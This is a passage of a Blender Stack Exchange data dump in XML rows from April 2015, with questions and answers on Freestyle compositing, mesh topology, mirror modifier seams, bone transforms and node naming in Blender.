  <row Id="29076" PostTypeId="2" ParentId="29067" CreationDate="2015-04-28T11:57:02.417" Score="6" Body="&lt;p&gt;&lt;strong&gt;Sadly this is not possible by default, however here is an effective workaround&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Under the &lt;em&gt;Render Layers&lt;/em&gt; tab there is a checkbox that enables/disables it for that layer. And no, this does not render the Freestly pass if you just set it by itself on a new render layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zReQ6.jpg&quot; alt=&quot;Freestyle Checkbox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this we will be able to (with come complex compositing) get just the &lt;em&gt;Freestyle&lt;/em&gt; pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by adding a new &lt;em&gt;Render Layer&lt;/em&gt; and unchecking the &lt;em&gt;Freestyle&lt;/em&gt; checkbox. When you render now, you should get two images, one with freestyle and one without. This is exactly what we need for the next step, which will be done in the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor, add another Render Layer node by selecting the already present one and pressing &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;. Change the dropdown on the bottom of it to the second render layer. Now add a &lt;em&gt;Color Mix&lt;/em&gt; node and set it to Subtract and connect it as shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iDYsi.jpg&quot; alt=&quot;Freestyle Subtract&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have a basic image we can work with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6dURJ.jpg&quot; alt=&quot;Subtracted render layers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now replicate this node setup to take this image and make it useable:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OQ6vX.jpg&quot; alt=&quot;Freestyle image preperation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Basic Math node set to Multiply with a value of 10, and a color mix node set to black and white with the math node input driving the factor.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have our image to use as the factor to mix the rendered image with a black (or any other) color. Add another color mix node, connect the output of the nodes we just added to the factor input, change the top color to black, and connect the plain render layer image output to the bottom color input. You should now have a node setup like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZMqo2.jpg&quot; alt=&quot;Final node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I added the blur node to make the Freestlye lines less sharp, but it is completely optional)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your render should now be complete, you can now access just the freestlye render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qVBYP.jpg&quot; alt=&quot;Just Freestyle&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And can use that to customize how it is used in your final image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aOgZs.jpg&quot; alt=&quot;Final Result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-28T11:57:02.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29078" PostTypeId="2" ParentId="23494" CreationDate="2015-04-28T12:25:00.117" Score="1" Body="&lt;p&gt;Yes, this appears to be a limitation of the current Curve Deform modifier. It will only notice the first Spline, The Curve can have multiple segments but as soon as there's a gap then infact the Curve object internally is made from two splines, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think this is a bug you can file a bug report to see what the developers say.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-04-28T12:25:00.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29079" PostTypeId="2" ParentId="29075" CreationDate="2015-04-28T12:28:36.180" Score="2" Body="&lt;p&gt;The issue you are having is that the layers you have set your &lt;em&gt;Render Layers&lt;/em&gt; to are completely blank in front of the camera. You need to add the correct layers in your &lt;em&gt;Render Layers&lt;/em&gt; settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2i5Tn.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L1kQb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this was rendering in the viewport, is you had all of the layers selected to display in your viewport, while those layers were not enabled in the final render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6XE06.jpg&quot; alt=&quot;Viewport layers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to disable the compositing stage to get ride of the video overlay :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cy27T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to keep the compositing and just eliminate the video overlay change the compositing nodes as this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ot3mb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="5113" LastEditDate="2015-04-28T13:56:18.283" LastActivityDate="2015-04-28T13:56:18.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29080" PostTypeId="2" ParentId="28942" CreationDate="2015-04-28T12:35:38.490" Score="3" Body="&lt;p&gt;This answer only adresses the overall question, but I still feel it has some relevance. An approach I sometimes use when I want a material surface to appear bumpy, is to toggle on &lt;em&gt;Proportional Editing&lt;/em&gt;, then set the &lt;em&gt;Proportional Editing Falloff&lt;/em&gt; to &lt;em&gt;Random&lt;/em&gt;, increase the &lt;em&gt;Proportional size&lt;/em&gt; (just scroll) and then just translate/rotate/scale a single vertex in the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wgV7y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aFgCG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13958" LastActivityDate="2015-04-28T12:35:38.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29081" PostTypeId="2" ParentId="28963" CreationDate="2015-04-28T12:43:52.697" Score="2" Body="&lt;p&gt;No. Not without considering aspects of how the object will be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan to subsurf the mesh, then you could help the shape by including an extra edge-loop slightly offset from the outer edge to help maintain the shape and shading. But on the inside it doesn't really matter, it becomes a matter of personal preference or convention, or engine limitation (these days not such a big deal)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9dtWa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-04-28T12:43:52.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29082" PostTypeId="1" CreationDate="2015-04-28T13:05:06.800" Score="1" ViewCount="673" Body="&lt;p&gt;I am trying to render a scene where I am animating an explosion and simultaneously changing the camera view. When I rendered it as an image sequence, the camera view changed as per the keyframes but the fire flame was stuck as it was in the initial frame. I am using Cycles render.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/itCKF.png&quot; alt=&quot;A frame from the scene I have been trying to render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above is a frame from the scene I have been trying to render. The fire in the cooling cell is stuck as it is in every frame. It was animated to explode but that is not showing.&lt;/p&gt;&#xA;" OwnerUserId="14050" LastEditorUserId="241" LastEditDate="2015-04-28T14:11:43.160" LastActivityDate="2015-04-28T14:11:43.160" Title="How to render explosions and fire animations in Blender?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;animation&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="29083" PostTypeId="1" CreationDate="2015-04-28T13:12:54.573" Score="1" ViewCount="1389" Body="&lt;p&gt;I'm not an expert in 3D but I'm using Blender to change model's poses. I have a JSON object which describes how each bone will rotate, translate and scale:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;name&quot;: &quot;Soldier&quot;,&#xA;  &quot;id&quot;: &quot;TestId&quot;,&#xA;  &quot;animMatrices&quot;: [&#xA;    {&#xA;      &quot;name&quot;: &quot;mixamorig:Spine&quot;,&#xA;      &quot;position&quot;: [&#xA;        0.0,&#xA;        0.288420439,&#xA;        -0.027956875&#xA;      ],&#xA;      &quot;rotation&quot;: [&#xA;        -0.0205147546,&#xA;        0.0105156591,&#xA;        0.0171466451,&#xA;        0.9995872&#xA;      ],&#xA;      &quot;scale&quot;: [&#xA;        1.0,&#xA;        1.00000012,&#xA;        1.00000024&#xA;      ]&#xA;    },&#xA;    {&#xA;      &quot;name&quot;: &quot;mixamorig:Spine1&quot;,&#xA;      &quot;position&quot;: [&#xA;        0.0,&#xA;        0.338067949,&#xA;        5.486072E-9&#xA;      ],&#xA;      &quot;rotation&quot;: [&#xA;        0.0558569357,&#xA;        0.0207238179,&#xA;        0.0163610559,&#xA;        0.9980896&#xA;      ],&#xA;      &quot;scale&quot;: [&#xA;        1.0,&#xA;        1.00000012,&#xA;        1.00000024&#xA;      ]&#xA;    }&#xA;  ]&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to generate the 4x4 matrix and assign it to &lt;code&gt;bone.matrix_basis&lt;/code&gt; as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pos = mathutils.Matrix.Translation((m['position'][0],m['position'][1], m['position'][2]))&#xA;&#xA;rot1 = mathutils.Matrix.Rotation(math.radians(m['rotation'][0]), 4, 'X')&#xA;rot2 = mathutils.Matrix.Rotation(math.radians(m['rotation'][1]), 4, 'Y')&#xA;rot3 = mathutils.Matrix.Rotation(math.radians(m['rotation'][2]), 4, 'Z')&#xA;rot = rot1 * rot2 * rot3&#xA;&#xA;scale1 = mathutils.Matrix.Scale(m['scale'][0], 4)&#xA;scale2 = mathutils.Matrix.Scale(m['scale'][1], 4)&#xA;scale3 = mathutils.Matrix.Scale(m['scale'][2], 4)&#xA;scale = scale1 * scale2 * scale3&#xA;&#xA;bon_mat = pos * rot * scale&#xA;bone.matrix_basis = bon_mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The model started to be having a very incorrect values, or I don't really know what happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to to use &lt;code&gt;bone.rotation_axis_angle&lt;/code&gt; but this did not effect anything, and by the way I always set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.mode_set(mode=&quot;POSE&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I got the JSON object from Unity.&lt;/p&gt;&#xA;" OwnerUserId="14049" LastEditorDisplayName="user12855" LastEditDate="2015-05-30T06:17:22.963" LastActivityDate="2015-05-30T06:17:22.963" Title="Applying rotation, location and scale to model bones" Tags="&lt;python&gt;&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29084" PostTypeId="2" ParentId="28999" CreationDate="2015-04-28T13:25:39.263" Score="1" Body="&lt;p&gt;It seems impossible to make a modal operator run &quot;on startup&quot;, without the user starting it. However, it also seems that the following code adds a drawing function on startup (when the addon is registered) and that that function gets executed indefinitely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw_callback_px():&#xA;    #draw whatever you want here, just thought I'd add something&#xA;&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 0.5)&#xA;    bgl.glLineWidth(2)&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;&#xA;    bgl.glVertex3f(0, 0, 0)&#xA;    bgl.glVertex3f(1, 0, 0)&#xA;    bgl.glVertex3f(1, 1, 0)&#xA;    bgl.glVertex3f(1, 1, 1)&#xA;&#xA;    bgl.glEnd()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;def register():&#xA;    bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, (), 'WINDOW', 'POST_VIEW')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I now install this addon, the drawing function is appended there both on startup, when installing the addon; even if we're recovering the previous session. At least according to my testing. If someone could test this out to confirm, please do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...one tiny caveat tho. This does not ever tag the drawing area for redrawing, so to see the drawings, one sometimes has to interact with the 3Dview are at least once after installing the addon.&lt;/p&gt;&#xA;" OwnerUserId="11312" LastActivityDate="2015-04-28T13:25:39.263" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29085" PostTypeId="1" AcceptedAnswerId="29087" CreationDate="2015-04-28T13:31:41.317" Score="6" ViewCount="625" Body="&lt;p&gt;I understand blender needs to have a unique identifier for datablocks, but it's not like an &quot;Object&quot; were you can assign a different &quot;Object Data&quot; datablock. The node doesn't have access to other &quot;Node Data&quot; datablocks. How it can be useful for user to get access to this 'Name' field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QMUEM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;User uses &quot;Label&quot; for naming nodes&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2214" LastEditorUserId="241" LastEditDate="2015-04-28T13:59:54.677" LastActivityDate="2015-04-28T19:38:44.000" Title="How can the &quot;Name&quot; field in the node properties be useful for the user?" Tags="&lt;interface&gt;&lt;nodes&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29086" PostTypeId="2" ParentId="28963" CreationDate="2015-04-28T13:44:30.303" Score="16" Body="&lt;p&gt;I like the topology clean whether it's game model or not - so here are all the caps you will ever need:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Otcd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have more sides, you can downscale these caps into them - the corresponding sub-cap topologies are highlighted (4-side cap, 6-side cap, 8-side cap):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Usxn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this you can make very clean any size cap with &lt;strong&gt;grid-like&lt;/strong&gt; topology (which is very good).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the number of sides is too big, the marked quads on next example will be a problem. This is how to setup loops in such topology to keep it again mostly grid and fix the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ccLwW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only for subdivision topologies it's always good to inset the cap like so (its good for smooth shading also, thus for normal-maps etc.):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GTwiv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I don't like the square approach for triangles, I would prefer the vertex-to-vertex quad approach if I had. Long thin quads are bad also but still better than triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a triangle fan could be only pardoned in mobile game models or when flat shaded. Long thin triangles and a vertex with more than 5 edges are both the worst from topology and shading standpoint.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-04-29T06:19:41.663" LastActivityDate="2015-04-29T06:19:41.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29087" PostTypeId="2" ParentId="29085" CreationDate="2015-04-28T13:48:38.903" Score="9" Body="&lt;p&gt;The 'Name' field can be used to identify different nodes when accessing the nodes with python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might have 2 diffuse type nodes, 'Diffuse BSDF' and 'Diffuse BSDF.001' and be able to identify which node I want to change a property on, by it's name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.materials['Material'].node_tree.nodes['Diffuse BSDF'].use_custom_color&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This would access the &lt;code&gt;use_custom_color&lt;/code&gt; property on the node called &quot;Diffuse BSDF&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know which node I am accessing by looking at the 'Name' field in the node editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I am accessing the nodes by name, it might be useful for them to have more descriptive names to help me separate them from other nodes e.g. &quot;diffuseMain&quot;, &quot;diffuseOriginal' etc. I can use that name field to rename them to something more relevant and identifying.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-04-28T19:38:44.000" LastActivityDate="2015-04-28T19:38:44.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29088" PostTypeId="1" CreationDate="2015-04-28T14:59:58.683" Score="4" ViewCount="1598" Body="&lt;p&gt;I have downloaded car models where each model consists of multiple meshes including some modifiers. I would like to determine the dimension of the set of all these objects (window, bumper, trunk, ...). I know I can get the dimension of a single object in the transform panel. And I know I can apply all modifiers, join the objects and get the dimension of the resulting object and then undo the joining etc. But isn't there a more straight forward way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end I would like to position the car model such that the center of it's bounding box coincides with the origin. Doing a plain Object &gt; Transform &gt; Geometry to Origin and then selecting &quot;Bounds Center&quot; usually destroys the model unless I apply modifiers and join the objects first.&lt;/p&gt;&#xA;" OwnerUserId="8322" LastActivityDate="2020-10-20T14:01:12.520" Title="How to get the dimension of multiple objects?" Tags="&lt;objects&gt;&lt;measurement&gt;&lt;dimensions&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29089" PostTypeId="1" AcceptedAnswerId="29094" CreationDate="2015-04-28T15:12:22.513" Score="8" ViewCount="779" Body="&lt;p&gt;Is there a way to detect amount of light affecting some surface and use this value in a driver?&lt;/p&gt;&#xA;" OwnerUserId="11589" LastActivityDate="2018-02-22T19:28:46.007" Title="Detect light amount on surface?" Tags="&lt;animation&gt;&lt;light&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29090" PostTypeId="1" AcceptedAnswerId="29093" CreationDate="2015-04-28T15:23:27.973" Score="7" ViewCount="1900" Body="&lt;p&gt;I've followed the same &lt;a href=&quot;https://www.youtube.com/watch?v=ij6RicPUoaA&amp;amp;feature=iv&amp;amp;src_vid=aWoB5x6VPkc&amp;amp;annotation_id=annotation_370854&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; I mentioned in the question I asked &lt;a href=&quot;https://blender.stackexchange.com/questions/29036/mirror-modifier-can-not-be-used-in-edit-mode&quot;&gt;yesterday&lt;/a&gt; and my boat hull looks pretty good.  The process is to make 3D B-Splines increase the resolution and then convert them to Mesh Elements.  Then you make a plane and cut it in half along the &quot;Y&quot; axis.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed through the process and see a couple issues that I would like one of you to address.  First, I see that the normals are not correct.  The inside of the hull is not important but the outside needs to show materials.  Also the hull is not stitched together along the keel.  I don't know how to do that on a mesh that has had the Mirror Modifier applied to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6SEKo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone care to help?  &lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-06-05T12:59:26.730" Title="How can I fix the non-stitched seam that is present after applying mirror modifier?" Tags="&lt;modifiers&gt;&lt;normals&gt;&lt;mirror&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29091" PostTypeId="2" ParentId="29088" CreationDate="2015-04-28T15:31:00.177" Score="3" Body="&lt;p&gt;As Chebhou already pointed out in his comment, what people usually do when transforming a disjoint model is have an &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/empties.html#empties&quot; rel=&quot;nofollow noreferrer&quot;&gt;EMPTY&lt;/a&gt; at the centre or wherever you want it (you can use it as a pivot), and then &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/object/editing/parent.html#make-parent&quot; rel=&quot;nofollow noreferrer&quot;&gt;PARENT&lt;/a&gt; all objects with the empty. Then you would simply transform the empty and everything should stay in the same position relative to it.&lt;/p&gt;&#xA;&lt;p&gt;You can have a hierarchy of empties if you want to be able to move some objects separately (say wheels, doors, etc.)&lt;/p&gt;&#xA;&lt;p&gt;I am not sure how getting the dimensions of all objects would help you solve your problem, but if that is what you want you will have to write a simple script (something like that):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for each object in selected&#xA;  print object.getDimensions()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But then you will have to go through them manually unless you don't attach it to some other script.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastEditorUserId="15924" LastEditDate="2020-10-20T14:01:12.520" LastActivityDate="2020-10-20T14:01:12.520" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="29092" PostTypeId="1" AcceptedAnswerId="30410" CreationDate="2015-04-28T15:36:00.300" Score="5" ViewCount="495" Body="&lt;p&gt;I can't stop the rotation of the camera(around the z global axis), in BGE. The camera is set to dynamic. Here is part of the script, the only one that affects rotation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def rotation():&#xA;    if (mX &amp;lt; 0.10) and (mY &amp;lt; 0.90):&#xA;        cam.setAngularVelocity([0, 0, 0.1], 0)&#xA;    elif (mX &amp;gt; 0.90) and (mY &amp;lt; 0.90):&#xA;        cam.setAngularVelocity([0, 0, -0.1], 0)&#xA;    else:       &#xA;        cam.setAngularVelocity([0, 0, -cam.getAngularVelocity().z], 0)&#xA;    #print (cam.position)&#xA;    print (&quot;Angular Velocity :&quot;,cam.getAngularVelocity())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Setting the angular velocity to 0 does not work.So what I did was to subtract the current value(cam.getAngularVelocity().z). This kills the rotation but it is still slow and it creates a flickering effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found 2 threads about this thing in other forums. They were unsolved. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://www.pasteall.org/blend/35807&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="2217" LastEditDate="2015-04-28T21:18:31.683" LastActivityDate="2018-05-06T18:04:21.493" Title="How to instantly stop the rotation of an object in BGE?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29093" PostTypeId="2" ParentId="29090" CreationDate="2015-04-28T15:41:24.577" Score="7" Body="&lt;p&gt;The normals issue can easily be solved by selecting all the vertices in edit mode and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; (You may need to select the &lt;em&gt;Inside&lt;/em&gt; option as well, depending on your mesh). You could also add a solidify modifier if you want to have the normals correct on the inside and outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Ixse.gif&quot; alt=&quot;Fixing Normals&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The edge loops can be merged together by selecting both edgeloops, and scaling to zero along the Y axis. All you then need to do is to remove doubles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GZQpt.gif&quot; alt=&quot;Stitching Edges&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-28T15:41:24.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29094" PostTypeId="2" ParentId="29089" CreationDate="2015-04-28T15:43:05.833" Score="9" Body="&lt;p&gt;Blender shaders or objetcs does not have this kind of output to use in drivers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the Inverse square law.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$$&#xA;I \propto \frac{1}{d^{2}}&#xA;$$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where $I$ is the intensity and $d$ is the distance. &lt;em&gt;(Intensity is proportional to inverse of distance squared)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this in your driver multiplied with the lamp or emission-shader intensity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To account for surface normal (how it is rotated towards light) you would have to script a pydriver and access the mesh data inside: &lt;a href=&quot;https://blender.stackexchange.com/questions/27053/how-to-create-a-pydriver-in-blender-2-7&quot;&gt;How to create a PyDriver in blender 2.7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use a dummy plane tangent to surface that will not render and get the direction and distance into the driver from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to account for mirrors or indirect lighting in general then forget it;)&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="5794" LastEditDate="2018-02-22T19:28:46.007" LastActivityDate="2018-02-22T19:28:46.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29095" PostTypeId="2" ParentId="29090" CreationDate="2015-04-28T15:46:56.837" Score="6" Body="&lt;p&gt;When using the mirror modifier you can enable the 'Clipping' option which will clamp (or 'clip') vertices that are along the edge, at the centre of the mirroring:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uIToa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will mean that any vertices that are at the mirror edge are clamped together and will not be able to be moved away from where the mirrored halves meet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gUypo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see the vertex is moved towards the middle and is then locked, you won't be able to move it away from the middle again unless you disable clipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you the apply the modifier the vertices along the mirror line will be merged together (as long as the 'Merge' option on the modifier hasn't been disabled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing as you have already applied the modifier, I would delete half of the model and add another mirror modifier. Move the vertices towards where the halves meet and they will lock to the middle (when 'clipping' is enabled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can apply the mirror modifier as before.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-06-05T12:59:26.730" LastActivityDate="2015-06-05T12:59:26.730" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29096" PostTypeId="1" CreationDate="2015-04-28T15:58:36.677" Score="-2" ViewCount="298" Body="&lt;p&gt;I'm trying to make an animation like &lt;a href=&quot;https://www.youtube.com/watch?v=hRm-BSukPds&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; (not really relevant).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I downloaded an FPS rig. I reconfigured it for cycles render, and &quot;rigged&quot; the gun to a state I could animate it in (it was one object). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I cannot get the hand rig to work at all....! I'm guessing they've got some truly fancy settings going on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &quot;child of&quot; constraint to make the gun stick to the hand. But I get some really strange rotation results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here, you can see everything is as normal:&#xA;&lt;img src=&quot;https://i.imgur.com/FolYybv.png&quot; alt=&quot;Everything is normal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then as soon as I move the arm, the gun flips off at a strange angle. Notice how his hand has come right off:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U07tI.png&quot; alt=&quot;WTF is going on&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediafire.com/?76d54ttvu3mciu2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's the blend 